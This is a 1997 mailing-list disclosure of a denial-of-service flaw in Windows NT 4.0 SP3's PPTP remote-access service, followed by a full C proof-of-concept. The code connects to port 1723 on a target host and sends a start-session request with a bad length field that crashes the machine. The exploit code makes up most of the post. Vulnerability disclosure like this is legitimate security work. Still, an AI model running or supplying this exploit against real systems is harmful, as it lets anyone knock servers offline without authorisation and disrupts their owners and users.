Date: 11/26/97 1:27:41 PM From: Kevin Wormington Subject: Potenial DOS in Windows NT RAS PPTP To: (""@LOCAL) Hi, this is my first posting so please excuse the style. Please forgive me if this has been posted before, but I have not seen it. Also, I am unable to test it with different hotfixes, etc. I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable to a DOS causing core dump. I have been working with point to point tunnelling protocol and discovered (by accident) that if you send a pptp start session request with an invalid packet length in the pptp packet header that it will crash an NT box. Here is a very crude code fragment that will exploit this behaviour: /* * Sample Windoze NT RAS PPTP exploit */ #include #include #include #include #include #include #include #include #include #include #include #define PPTP_MAGIC_COOKIE 0x1a2b3c4d #define PPTP_CONTROL_HEADER_OFFSET 8 #define PPTP_REQUEST_OFFSET 12 typedef enum { PPTP_CONTROL_PACKET = 1, PPTP_MGMT_PACKET} PptpPacketType; typedef enum { PPTP_START_SESSION_REQUEST = 1, PPTP_START_SESSION_REPLY, PPTP_STOP_SESSION_REQUEST, PPTP_STOP_SESSION_REPLY, PPTP_ECHO_REQUEST, PPTP_ECHO_REPLY, PPTP_OUT_CALL_REQUEST, PPTP_OUT_CALL_REPLY, PPTP_IN_CALL_REQUEST, PPTP_IN_CALL_REPLY, PPTP_IN_CALL_CONNECTED, PPTP_CALL_CLEAR_REQUEST, PPTP_CALL_DISCONNECT_NOTIFY, PPTP_WAN_ERROR_NOTIFY, PPTP_SET_LINK_INFO, PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType; typedef struct { u_short packetLength; u_short packetType; u_long magicCookie;} PptpPacketHeader; typedef struct { u_short messageType; u_short reserved; } PptpControlHeader; typedef struct { u_long identNumber;} PptpEchoRequest; typedef enum { PPTP_ECHO_OK = 1, PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode; typedef struct { u_long identNumber; u_char resultCode; u_char generalErrorCode; u_short reserved;} PptpEchoReply; #define PPTP_FRAME_CAP_ASYNC 0x00000001L #define PPTP_FRAME_CAP_SYNC 0x00000002L #define PPTP_BEARER_CAP_ANALOG 0x00000001L #define PPTP_BEARER_CAP_DIGITAL 0x00000002L typedef struct { u_short protocolVersion; u_char reserved1; u_char reserved2; u_long framingCapability; u_long bearerCapability; u_short maxChannels; u_short firmwareRevision; char hostName[64]; char vendorString[64];} PptpStartSessionRequest; int pptp_start_session (int); int main(int argc, char **argv) { int pptp_sock, i, s, offset; u_long src_ip, dst_ip = 0; struct in_addr addr; struct sockaddr_in sn; struct hostent *hp; struct servent *sp; fd_set ctl_mask; char buf[2048]; if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("tcp socket"); exit(1); } sp = getservbyname("pptp", "tcp"); /* port 1723 */ if (!sp) { fprintf(stderr, "pptp: tcp/pptp: unknown service\n"); exit(1); } hp = gethostbyname(argv[1]); if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); } memset(&sn, 0, sizeof(sn)); sn.sin_port = sp->s_port; sn.sin_family = hp->h_addrtype; if (hp->h_length > (int)sizeof(sn.sin_addr)) { hp->h_length = sizeof(sn.sin_addr); } memcpy(&sn.sin_addr, hp->h_addr, hp->h_length); if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0) { perror("pptp: can't connect"); close(s); exit(1); } pptp_start_session(pptp_sock); fprintf(stderr, "Done\n"); close(pptp_sock); return (0); } int pptp_start_session (int sock) { PptpPacketHeader packetheader; PptpControlHeader controlheader; PptpStartSessionRequest sessionrequest; char packet[200]; int offset; packetheader.packetLength = htons (20); /* whoops, i forgot to change it */ packetheader.packetType = htons(PPTP_CONTROL_PACKET); packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE); controlheader.messageType = htons(PPTP_START_SESSION_REQUEST); controlheader.reserved = 0; sessionrequest.protocolVersion = htons(1); sessionrequest.reserved1 = 0; sessionrequest.reserved2 = 0; sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC); sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG); sessionrequest.maxChannels = htons(32); sessionrequest.firmwareRevision = htons(1); memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName)); sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com"); memset(&sessionrequest.vendorString, 0, sizeof (sessionrequest.vendorString)); sprintf (sessionrequest.vendorString, "%s", "Any Vendor"); memset(&packet, 0, sizeof(packet)); memcpy(&packet, &packetheader, sizeof(packetheader)); memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader, sizeof(controlheader)); memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest, sizeof(sessionrequest)); send (sock, &packet, 156, 0); return (0); }